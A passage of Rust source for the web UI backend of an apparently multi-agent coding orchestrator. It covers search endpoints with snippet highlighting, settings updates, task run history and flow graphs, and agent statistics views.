3329 .collect();
3330 Self {
3331 waits_on,
3332 stuck_roots,
3333 ..Self::from(task)
3334 }
3335 }
3336}
3337
3338#[derive(Debug, Default, Deserialize)]
3341#[serde(default)]
3342struct ReposQuery {
3343 refresh: u8,
3344}
3345
3346async fn repos_list(
3353 State(ui): State<Arc<Ui>>,
3354 Query(q): Query<ReposQuery>,
3355) -> ApiResult<Json<Vec<repos::Repo>>> {
3356 let refresh = q.refresh != 0;
3357 blocking(move || {
3358 let (cfg, _) = Config::discover(&ui.repo, None)?;
3359 Ok(Json(ui.repos_cache.list(
3360 &cfg.repos.roots,
3361 Duration::from_secs(cfg.repos.scan_ttl),
3362 refresh,
3363 )))
3364 })
3365 .await
3366}
3367
3368async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3372 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3373}
3374
3375#[derive(Debug, Deserialize)]
3377#[serde(deny_unknown_fields)]
3378struct RolesBody {
3379 revision: String,
3381 roles: std::collections::BTreeMap<String, Vec<String>>,
3383}
3384
3385async fn settings_put_roles(
3391 State(ui): State<Arc<Ui>>,
3392 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3393) -> ApiResult<Json<settings::SettingsView>> {
3394 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3395 blocking(move || {
3396 settings::save(
3397 &ui.repo,
3398 ui.machine_config.as_deref(),
3399 &body.revision,
3400 &body.roles,
3401 )
3402 .map(Json)
3403 .map_err(|e| match e {
3404 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3405 settings::SaveError::Refused(m) => ApiError {
3406 status: StatusCode::UNPROCESSABLE_ENTITY,
3407 message: m,
3408 },
3409 settings::SaveError::Internal(m) => ApiError::internal(m),
3410 })
3411 })
3412 .await
3413}
3414
3415async fn queue_list(
3416 State(ui): State<Arc<Ui>>,
3417 Query(q): Query<ListQuery>,
3418) -> ApiResult<Json<Vec<TaskView>>> {
3419 blocking(move || {
3420 let tasks = ui.queue.list();
3421 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3422 Ok(Json(
3423 tasks
3424 .into_iter()
3425 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3426 .map(|t| TaskView::with_inventory(t, &inv))
3427 .collect(),
3428 ))
3429 })
3430 .await
3431}
3432
3433const SEARCH_MAX_HITS: usize = 100;
3435const SEARCH_MAX_QUERY: usize = 200;
3437const SEARCH_MAX_TERMS: usize = 8;
3438const SNIPPET_BEFORE: usize = 50;
3440const SNIPPET_AFTER: usize = 110;
3441
3442#[derive(Debug, Deserialize)]
3444struct SearchQuery {
3445 #[serde(default)]
3446 scope: String,
3447 #[serde(default)]
3448 q: String,
3449}
3450
3451#[derive(Debug, Serialize, PartialEq, Eq)]
3454struct SnippetPart {
3455 text: String,
3456 hit: bool,
3457}
3458
3459#[derive(Debug, Serialize)]
3460struct SearchHit {
3461 id: String,
3462 field: String,
3464 snippet: Vec<SnippetPart>,
3465 #[serde(skip_serializing_if = "Option::is_none")]
3469 run: Option<RunSummary>,
3470}
3471
3472#[derive(Debug, Serialize)]
3473struct SearchView {
3474 scope: String,
3475 q: String,
3476 hits: Vec<SearchHit>,
3478 total: usize,
3480 truncated: bool,
3481 unreadable: usize,
3484}
3485
3486fn text_leaves<'a>(
3489 value: &'a serde_json::Value,
3490 field: &'a str,
3491 out: &mut Vec<(&'a str, &'a str)>,
3492) {
3493 match value {
3494 serde_json::Value::String(s) => out.push((field, s)),
3495 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3496 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3497 _ => {}
3498 }
3499}
3500
3501fn fold_char(c: char) -> char {
3504 c.to_lowercase().next().unwrap_or(c)
3505}
3506
3507fn search_terms(q: &str) -> Vec<String> {
3509 let mut terms: Vec<String> = Vec::new();
3510 for t in q.split_whitespace() {
3511 let t = t.to_lowercase();
3512 if !terms.contains(&t) {
3513 terms.push(t);
3514 }
3515 }
3516 terms
3517}
3518
3519fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3522 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3523 let mut first: Option<usize> = None;
3524 for term in terms {
3525 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3526 first = Some(first.map_or(at, |f| f.min(at)));
3527 }
3528 let (field, text) = leaves[first?];
3530 Some(SearchHit {
3531 id: String::new(),
3532 field: field.to_owned(),
3533 snippet: snippet_of(text, terms),
3534 run: None,
3535 })
3536}
3537
3538fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3541 let chars: Vec<char> = text.chars().collect();
3542 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3543 let needles: Vec<Vec<char>> = terms
3544 .iter()
3545 .map(|t| t.chars().map(fold_char).collect())
3546 .collect();
3547 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3548 let mut best: Option<(usize, usize)> = None;
3549 for n in needles.iter().filter(|n| !n.is_empty()) {
3550 if n.len() > chars.len() || to == 0 {
3554 continue;
3555 }
3556 let last = (to - 1).min(chars.len() - n.len());
3557 if from > last {
3558 continue;
3559 }
3560 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3561 && best.is_none_or(|(b, _)| i < b)
3562 {
3563 best = Some((i, i + n.len()));
3564 }
3565 }
3566 best
3567 };
3568 let Some((start, _)) = find(0, chars.len()) else {
3569 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3571 return vec![SnippetPart {
3572 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3573 hit: false,
3574 }];
3575 };
3576 let lo = start.saturating_sub(SNIPPET_BEFORE);
3577 let hi = (start + SNIPPET_AFTER).min(chars.len());
3578 let mut parts: Vec<SnippetPart> = Vec::new();
3579 let mut push = |s: &[char], hit: bool| {
3580 if s.is_empty() {
3581 return;
3582 }
3583 let text: String = s.iter().collect();
3584 match parts.last_mut() {
3585 Some(p) if p.hit == hit => p.text.push_str(&text),
3586 _ => parts.push(SnippetPart { text, hit }),
3587 }
3588 };
3589 if lo > 0 {
3590 push(&['\u{2026}'], false);
3591 }
3592 let mut at = lo;
3593 while at < hi {
3594 match find(at, hi) {
3595 Some((s, e)) => {
3596 push(&chars[at..s], false);
3597 let shown = e.min(hi);
3599 push(&chars[s..shown], true);
3600 at = shown;
3601 }
3602 None => {
3603 push(&chars[at..hi], false);
3604 at = hi;
3605 }
3606 }
3607 }
3608 if hi < chars.len() {
3609 push(&['\u{2026}'], false);
3610 }
3611 let mut prev_space = false;
3614 for p in &mut parts {
3615 let mut out = String::with_capacity(p.text.len());
3616 for c in p.text.chars() {
3617 if c.is_whitespace() {
3618 if !prev_space {
3619 out.push(' ');
3620 }
3621 prev_space = true;
3622 } else {
3623 out.push(c);
3624 prev_space = false;
3625 }
3626 }
3627 p.text = out;
3628 }
3629 parts.retain(|p| !p.text.is_empty());
3630 parts
3631}
3632
3633fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3635where
3636 I: IntoIterator<Item = (String, serde_json::Value)>,
3637{
3638 for (id, doc) in docs {
3639 let mut leaves = Vec::new();
3640 leaves.push(("id", id.as_str()));
3643 text_leaves(&doc, "", &mut leaves);
3644 if let Some(mut hit) = search_document(terms, &leaves) {
3645 view.total += 1;
3646 if view.hits.len() < SEARCH_MAX_HITS {
3647 hit.id = id;
3648 view.hits.push(hit);
3649 }
3650 }
3651 }
3652 view.truncated = view.total > view.hits.len();
3653}
3654
3655fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3662 let opener = talk
3663 .turns
3664 .iter()
3665 .find(|t| t.who == crate::talk::Who::Operator)
3666 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3667 .unwrap_or("");
3668 let title: String = if opener.chars().count() > 96 {
3669 opener.chars().take(95).chain(['\u{2026}']).collect()
3670 } else {
3671 opener.to_owned()
3672 };
3673 let turns: Vec<serde_json::Value> = talk
3674 .turns
3675 .iter()
3676 .map(|t| {
3677 let who = match t.who {
3678 crate::talk::Who::Operator => "operator",
3679 crate::talk::Who::Agent => "agent",
3680 };
3681 serde_json::json!({ who: t.body })
3682 })
3683 .collect();
3684 serde_json::json!({ "title": title, "turns": turns })
3685}
3686
3687async fn search_get(
3694 State(ui): State<Arc<Ui>>,
3695 Query(q): Query<SearchQuery>,
3696) -> ApiResult<Json<SearchView>> {
3697 let query = q.q.trim().to_owned();
3698 if query.is_empty() {
3699 return Err(ApiError::bad_request("q must not be empty"));
3700 }
3701 if query.chars().count() > SEARCH_MAX_QUERY {
3702 return Err(ApiError::bad_request(format!(
3703 "q is longer than {SEARCH_MAX_QUERY} characters"
3704 )));
3705 }
3706 let terms = search_terms(&query);
3707 if terms.len() > SEARCH_MAX_TERMS {
3708 return Err(ApiError::bad_request(format!(
3709 "q has more than {SEARCH_MAX_TERMS} terms"
3710 )));
3711 }
3712 let scope = q.scope;
3713 if scope != "runs" && scope != "tasks" && scope != "chats" {
3714 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3715 }
3716 blocking(move || {
3717 let mut view = SearchView {
3718 scope: scope.clone(),
3719 q: query,
3720 hits: Vec::new(),
3721 total: 0,
3722 truncated: false,
3723 unreadable: 0,
3724 };
3725 if scope == "runs" {
3726 let mut unreadable = 0;
3727 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3731 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3732 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3733 Some(v) => Some((id, v)),
3734 None => {
3735 unreadable += 1;
3736 None
3737 }
3738 }
3739 });
3740 search_docs(&terms, docs, &mut view);
3741 view.unreadable = unreadable;
3742 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3745 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3746 for hit in &mut view.hits {
3747 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3748 hit.run = summarize(
3749 [state],
3750 &open_runs,
3751 &claimed,
3752 &superseded,
3753 |p| probe.borrow_mut().status(p),
3754 |p| probe.borrow_mut().started_at(p),
3755 )
3756 .pop();
3757 }
3758 }
3759 } else if scope == "chats" {
3760 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3761 view.unreadable = unreadable;
3762 search_docs(
3763 &terms,
3764 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3765 &mut view,
3766 );
3767 } else {
3768 let docs = ui.queue.list().into_iter().filter_map(|t| {
3769 let mut v = serde_json::to_value(&t).ok()?;
3770 if let Some(o) = v.as_object_mut() {
3773 o.insert("filed_by".to_owned(), t.source.label().into());
3774 }
3775 Some((t.id, v))
3776 });
3777 search_docs(&terms, docs, &mut view);
3778 }
3779 Ok(Json(view))
3780 })
3781 .await
3782}
3783
3784#[derive(Debug, Serialize)]
3786struct TaskRunView {
3787 n: usize,
3789 id: String,
3790 short: String,
3791 kind: &'static str,
3793 status: Option<&'static str>,
3795 readable: bool,
3797 provisional: bool,
3799 description: String,
3801 outcome: String,
3803 created_at: Option<Timestamp>,
3804 pr: Option<String>,
3805 exit: RunExit,
3807 attempt: AttemptCost,
3809 branch: Option<String>,
3811}
3812
3813#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3815#[serde(rename_all = "snake_case")]
3816enum RunExit {
3817 Unreadable,
3818 Interrupted,
3820 Parked,
3821 QuotaStall,
3822 ResumedQuotaStall,
3826 Merged,
3827 Ready,
3828 Superseded,
3829 AlreadyInBase,
3832 Stalled,
3834 HeldWithPr,
3836 NoopHeld,
3837 Spent,
3839 InProgress,
3840}
3841
3842#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3843#[serde(rename_all = "snake_case")]
3844enum AttemptCost {
3845 Spent,
3846 Refunded,
3847 None,
3848 Unknown,
3850}
3851
3852impl RunExit {
3853 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3854 let Some(s) = s else {
3855 return Self::Unreadable;
3856 };
3857 let status = s.status;
3858 if resumed_later {
3859 Self::Interrupted
3860 } else if s.parked {
3861 Self::Parked
3862 } else if !status.done() {
3863 Self::InProgress
3864 } else if matches!(status, RunStatus::Merged) {
3865 Self::Merged
3866 } else if matches!(status, RunStatus::Ready) {
3867 Self::Ready
3868 } else if matches!(status, RunStatus::Superseded) {
3869 Self::Superseded
3870 } else if matches!(status, RunStatus::AlreadyInBase) {
3871 Self::AlreadyInBase
3872 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3873 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3874 {
3875 if resumed {
3876 Self::ResumedQuotaStall
3877 } else {
3878 Self::QuotaStall
3879 }
3880 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3881 Self::HeldWithPr
3882 } else if matches!(status, RunStatus::VerifiedNoop) {
3883 Self::NoopHeld
3884 } else if matches!(status, RunStatus::Stalled) {
3885 Self::Stalled
3886 } else {
3887 Self::Spent
3888 }
3889 }
3890
3891 fn cost(self) -> AttemptCost {
3892 match self {
3893 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3894 Self::Merged
3895 | Self::Ready
3896 | Self::Stalled
3897 | Self::HeldWithPr
3898 | Self::NoopHeld
3899 | Self::Spent => AttemptCost::Spent,
3900 Self::InProgress => AttemptCost::None,
3901 Self::AlreadyInBase => AttemptCost::Refunded,
3902 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3903 AttemptCost::Unknown
3904 }
3905 }
3906 }
3907
3908 fn edge_label(self, status: Option<&str>) -> String {
3910 match self {
3911 Self::Unreadable => "record unreadable".to_owned(),
3912 Self::Interrupted => "interrupted before the run finished".to_owned(),
3913 Self::Parked => "parked, attempt refunded".to_owned(),
3914 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3915 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3916 Self::Merged => "merged".to_owned(),
3917 Self::Ready => "ready, not merged".to_owned(),
3918 Self::Superseded => "superseded by a later attempt".to_owned(),
3919 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3920 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3921 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3922 Self::NoopHeld => "verified no-op".to_owned(),
3923 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3924 Self::InProgress => "in progress".to_owned(),
3925 }
3926 }
3927
3928 fn explains(self, end: TaskStatus) -> bool {
3931 match self {
3932 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3933 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3934 Self::Unreadable | Self::Superseded | Self::Ready => true,
3935 _ => end != TaskStatus::Done,
3936 }
3937 }
3938}
3939
3940#[derive(Debug, Serialize)]
3942struct TaskDetailView {
3943 #[serde(flatten)]
3944 task: TaskView,
3945 max_attempts: usize,
3948 history: Vec<TaskRunView>,
3949 flow: FlowView,
3950 runs_unreadable: usize,
3952 attempts_note: &'static str,
3954}
3955
3956const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3957and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3958on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3959in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3960
3961fn review_branch_of(instruction: &str) -> Option<&str> {
3964 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3965 rest.split('`').next().filter(|b| !b.is_empty())
3966}
3967
3968struct RunSlot<'a> {
3970 n: usize,
3972 resumed: bool,
3974 resumed_later: Option<usize>,
3976 prior: Option<(&'a str, RunStatus)>,
3978 last: bool,
3979}
3980
3981fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3984 let RunSlot {
3985 n,
3986 resumed,
3987 resumed_later,
3988 prior,
3989 last,
3990 } = at;
3991 let short = run::short_of(id).to_owned();
3992 let Some(s) = state else {
3993 return TaskRunView {
3994 n,
3995 id: id.to_owned(),
3996 short,
3997 kind: "unknown",
3998 status: None,
3999 readable: false,
4000 provisional: false,
4001 description:
4002 "This run's record could not be read by this build (written by a different \
4003 magi, or removed), so what kind of attempt it was is unknown."
4004 .to_owned(),
4005 outcome: String::new(),
4006 created_at: None,
4007 pr: None,
4008 exit: RunExit::Unreadable,
4009 attempt: AttemptCost::Unknown,
4010 branch: None,
4011 };
4012 };
4013 let branch = review_branch_of(&s.instruction);
4014 let kind = if resumed {
4015 "resume"
4016 } else if branch.is_some() {
4017 "review"
4018 } else if task.solo || s.candidates.len() == 1 {
4019 "solo"
4020 } else {
4021 "competition"
4022 };
4023 let mut description = match kind {
4024 "resume" => {
4025 format!("Resumed run {short}: the same run carried on instead of competing again.")
4026 }
4027 "review" => format!(
4028 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4029 branch.unwrap_or_default()
4030 ),
4031 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4032 _ => format!(
4033 "Competition: {} candidates judged blind.",
4034 s.candidates.len().max(1)
4035 ),
4036 };
4037 if !resumed && let Some((p, st)) = prior {
4038 description.push_str(&format!(
4039 " A retry: run {p} before it ended {}.",
4040 st.display_label()
4041 ));
4042 }
4043
4044 let status = s.status;
4045 let provisional = matches!(status, RunStatus::Stalled)
4046 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4047 let head = if resumed_later.is_some() {
4048 String::new()
4049 } else {
4050 match status {
4051 RunStatus::Merged => "Merged.".to_owned(),
4052 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4053 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4054 RunStatus::AlreadyInBase => {
4055 "Already in the base: this change landed under other commits, nothing was left to land."
4056 .to_owned()
4057 }
4058 RunStatus::Stalled => {
4059 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4060 .to_owned()
4061 }
4062 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4063 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4064 RunStatus::VerifiedNoop => {
4065 "Verified no-op: the candidates found nothing to change.".to_owned()
4066 }
4067 other if other.done() => format!("Ended {}.", other.display_label()),
4068 other => format!("In progress ({}).", other.display_label()),
4069 }
4070 };
4071 let why = if let Some(k) = resumed_later {
4072 let cause = if s.quota.is_empty() {
4079 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4080 } else {
4081 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4082 };
4083 format!(
4084 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4085 )
4086 } else if s.parked {
4087 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4088 .to_owned()
4089 } else if !status.done()
4090 || matches!(
4091 status,
4092 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4093 )
4094 {
4095 String::new()
4096 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4097 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4098 {
4099 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4100 .to_owned()
4101 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4102 " It left a pull request open, so the task was held for a person rather than retried."
4103 .to_owned()
4104 } else if matches!(status, RunStatus::VerifiedNoop) {
4105 " Held for a person to check the claim.".to_owned()
4106 } else if last {
4107 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4108 } else {
4109 " It spent an attempt, and the task moved on to the next run.".to_owned()
4110 };
4111 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4112 TaskRunView {
4113 n,
4114 id: id.to_owned(),
4115 short,
4116 kind,
4117 status: Some(status.as_str()),
4118 readable: true,
4119 provisional,
4120 description,
4121 outcome: format!("{head}{why}"),
4122 created_at: Some(s.created_at),
4123 pr: s.pr.as_ref().map(|p| p.url.clone()),
4124 exit,
4125 attempt: exit.cost(),
4126 branch: branch.map(str::to_owned),
4127 }
4128}
4129
4130#[derive(Debug, Serialize, PartialEq)]
4132struct FlowNode {
4133 key: String,
4135 kind: &'static str,
4137 label: String,
4138 status: Option<&'static str>,
4141 note: Option<&'static str>,
4143 run_kind: Option<&'static str>,
4144 detail: Option<String>,
4145 decided: bool,
4147 readable: bool,
4148 href: Option<String>,
4149}
4150
4151#[derive(Debug, Serialize, PartialEq)]
4152struct FlowEdge {
4153 from: String,
4154 to: String,
4155 label: String,
4156 attempt: AttemptCost,
4157}
4158
4159#[derive(Debug, Serialize, PartialEq)]
4160struct FlowView {
4161 nodes: Vec<FlowNode>,
4162 edges: Vec<FlowEdge>,
4163 attempts: usize,
4165 max_attempts: usize,
4166}
4167
4168fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4171 let node = |key: &str, kind, label: String| FlowNode {
4172 key: key.to_owned(),
4173 kind,
4174 label,
4175 status: None,
4176 note: None,
4177 run_kind: None,
4178 detail: None,
4179 decided: false,
4180 readable: true,
4181 href: None,
4182 };
4183 let mut nodes = Vec::new();
4184 let mut edges: Vec<FlowEdge> = Vec::new();
4185 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4187 let mut n = node(
4188 "chat",
4189 "chat",
4190 format!("Chat {}", crate::queue::short(&link.id)),
4191 );
4192 n.href = Some(link.href);
4193 nodes.push(n);
4194 edges.push(FlowEdge {
4195 from: "chat".to_owned(),
4196 to: "start".to_owned(),
4197 label: "queued from chat".to_owned(),
4198 attempt: AttemptCost::None,
4199 });
4200 }
4201 nodes.push(node("start", "start", "Task queued".to_owned()));
4202 let mut prev = "start".to_owned();
4203 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4204 for (i, h) in history.iter().enumerate() {
4205 let key = format!("run-{}", h.n);
4206 let mut n = node(&key, "run", format!("Run {}", h.short));
4207 n.run_kind = Some(h.kind);
4208 n.readable = h.readable;
4209 n.href = Some(format!("#/runs/{}", h.id));
4210 n.decided = h.readable && !h.provisional;
4211 n.detail = h
4212 .branch
4213 .as_ref()
4214 .map(|b| format!("review-only run of branch {b}"));
4215 match h.exit {
4216 RunExit::Unreadable => n.note = Some("unreadable"),
4217 RunExit::Interrupted => n.note = Some("interrupted"),
4218 _ => {
4219 n.status = h.status;
4220 if h.provisional {
4221 n.note = Some("no verdict");
4222 }
4223 }
4224 }
4225 let into = match h.kind {
4226 "review" => Some(format!(
4227 "review-only run of branch {}",
4228 h.branch.as_deref().unwrap_or("?")
4229 )),
4230 "resume" => Some("resume the same run".to_owned()),
4231 _ if i > 0 => Some("retry".to_owned()),
4232 _ => None,
4233 };
4234 let label = match (prev_exit, into) {
4235 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4236 (Some((e, st)), None) => e.edge_label(st),
4237 (None, Some(i)) => i,
4238 (None, None) => "claimed".to_owned(),
4239 };
4240 edges.push(FlowEdge {
4241 from: prev.clone(),
4242 to: key.clone(),
4243 label,
4244 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4245 });
4246 prev_exit = Some((h.exit, h.status));
4247 prev = key;
4248 nodes.push(n);
4249 }
4250 let mut end = node("end", "end", task.status.as_str().to_owned());
4251 end.status = Some(task.status.as_str());
4252 nodes.push(end);
4253 let (label, attempt) = match prev_exit {
4254 None => (
4255 format!("no run yet \u{2192} {}", task.status.as_str()),
4256 AttemptCost::None,
4257 ),
4258 Some((e, st)) if e.explains(task.status) => (
4259 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4260 e.cost(),
4261 ),
4262 Some((e, _)) => (
4263 format!("closed by hand: task is {}", task.status.as_str()),
4264 e.cost(),
4265 ),
4266 };
4267 edges.push(FlowEdge {
4268 from: prev,
4269 to: "end".to_owned(),
4270 label,
4271 attempt,
4272 });
4273 FlowView {
4274 nodes,
4275 edges,
4276 attempts: task.attempts,
4277 max_attempts,
4278 }
4279}
4280
4281fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4284 let mut history = Vec::with_capacity(task.runs.len());
4285 let mut seen: Vec<&str> = Vec::new();
4286 let mut prior: Option<(&str, RunStatus)> = None;
4287 for (i, run_id) in task.runs.iter().enumerate() {
4288 let state = read(run_id);
4289 let resumed = seen.contains(&run_id.as_str());
4290 seen.push(run_id);
4291 history.push(task_run_view(
4292 run_id,
4293 state.as_ref(),
4294 RunSlot {
4295 n: i + 1,
4296 resumed,
4297 resumed_later: task.runs[i + 1..]
4298 .iter()
4299 .position(|r| r == run_id)
4300 .map(|off| i + off + 2),
4301 prior,
4302 last: i + 1 == task.runs.len(),
4303 },
4304 task,
4305 ));
4306 if let Some(s) = &state {
4307 prior = Some((run::short_of(run_id), s.status));
4308 }
4309 }
4310 history
4311}
4312
4313async fn task_detail(
4314 State(ui): State<Arc<Ui>>,
4315 Path(id): Path<String>,
4316) -> ApiResult<Json<TaskDetailView>> {
4317 blocking(move || {
4318 let id = resolve_task(&ui.queue, &id)?;
4319 let task = ui
4320 .queue
4321 .get(&id)
4322 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4323 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4324 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4325 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4326 let max_attempts = daemon::Opts::default().max_attempts;
4327 let flow = task_flow(&task, &history, max_attempts);
4328 Ok(Json(TaskDetailView {
4329 max_attempts,
4330 flow,
4331 history,
4332 runs_unreadable,
4333 attempts_note: ATTEMPTS_NOTE,
4334 task: TaskView::with_inventory(task, &inv),
4335 }))
4336 })
4337 .await
4338}
4339
4340#[derive(Debug, Serialize)]
4344struct RateView {
4345 pct: f64,
4346 denominator: usize,
4347}
4348
4349impl RateView {
4350 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4351 (denominator > 0).then(|| Self {
4352 pct: 100.0 * numerator as f64 / denominator as f64,
4353 denominator,
4354 })
4355 }
4356}
4357
4358#[derive(Debug, Serialize)]
4363struct StatsTotalsView {
4364 runs: usize,
4365 merged: usize,
4366 ready: usize,
4367 blocked: usize,
4368 failed: usize,
4369 stalled: usize,
4370 verified_noop: usize,
4371 superseded: usize,
4372 in_progress: usize,
4373 completion_rate: Option<RateView>,
4374 tallied: usize,
4375 split: usize,
4376 split_rate: Option<RateView>,
4377 deliberated: usize,
4378 minds_changed: usize,
4379 converged: usize,
4380 review_rounds: usize,
4381}
4382
4383impl From<&stats::Totals> for StatsTotalsView {
4384 fn from(t: &stats::Totals) -> Self {
4385 Self {
4386 runs: t.runs,
4387 merged: t.merged,
4388 ready: t.ready,
4389 blocked: t.blocked,
4390 failed: t.failed,
4391 stalled: t.stalled,
4392 verified_noop: t.verified_noop,
4393 superseded: t.superseded,
4394 in_progress: t.in_progress,
4395 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4396 tallied: t.tallied,
4397 split: t.split,
4398 split_rate: RateView::of(t.split, t.tallied),
4399 deliberated: t.deliberated,
4400 minds_changed: t.minds_changed,
4401 converged: t.converged,
4402 review_rounds: t.review_rounds,
4403 }
4404 }
4405}
4406
4407#[derive(Debug, Serialize)]
4409struct AgentStatsView {
4410 agent: String,
4411 entered: usize,
4412 wins: usize,
4413 empty: usize,
4414 win_rate: Option<RateView>,
4415}
4416
4417impl From<&stats::AgentStats> for AgentStatsView {
4418 fn from(a: &stats::AgentStats) -> Self {
4419 Self {
4420 agent: a.agent.clone(),
4421 entered: a.entered,
4422 wins: a.wins,
4423 empty: a.empty,
4424 win_rate: RateView::of(a.wins, a.entered),
4425 }
4426 }
4427}
4428
4429#[derive(Debug, Serialize)]
4433struct ReviewerStatsView {
4434 agent: String,
4435 rounds: usize,
4436 seated: usize,
4437 submitted: usize,
4438 adopted: usize,
4439 unique: usize,
4440 timeouts: usize,
4441 adopted_per_round: Option<f64>,
4442 precision: Option<RateView>,
4443 unique_rate: Option<RateView>,
4444 timeout_rate: Option<RateView>,
4445}
4446
4447impl From<&stats::ReviewerStats> for ReviewerStatsView {
4448 fn from(r: &stats::ReviewerStats) -> Self {
4449 Self {
4450 agent: r.agent.clone(),
4451 rounds: r.rounds,
4452 seated: r.seated,
4453 submitted: r.submitted,
4454 adopted: r.adopted,
4455 unique: r.unique,
4456 timeouts: r.timeouts,
4457 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4458 precision: RateView::of(r.adopted, r.submitted),
4459 unique_rate: RateView::of(r.unique, r.submitted),
4460 timeout_rate: RateView::of(r.timeouts, r.seated),
4461 }
4462 }
4463}
4464
4465#[derive(Debug, Serialize)]
4471struct AdvisorStatsView {
4472 agent: String,
4473 seated: usize,
4474 proposed: usize,
4475 absent: usize,
4476 faint: usize,
4477 strong: usize,
4478 reflection_rate: Option<RateView>,
4479}
4480
4481impl From<&stats::AdvisorStats> for AdvisorStatsView {
4482 fn from(a: &stats::AdvisorStats) -> Self {
4483 Self {
4484 agent: a.agent.clone(),
4485 seated: a.seated,
4486 proposed: a.proposed,
4487 absent: a.absent,
4488 faint: a.faint,
4489 strong: a.strong,
4490 reflection_rate: RateView::of(a.strong, a.proposed),
4491 }
4492 }
4493}
4494
4495#[derive(Debug, Serialize)]
4497struct E2eStatsView {
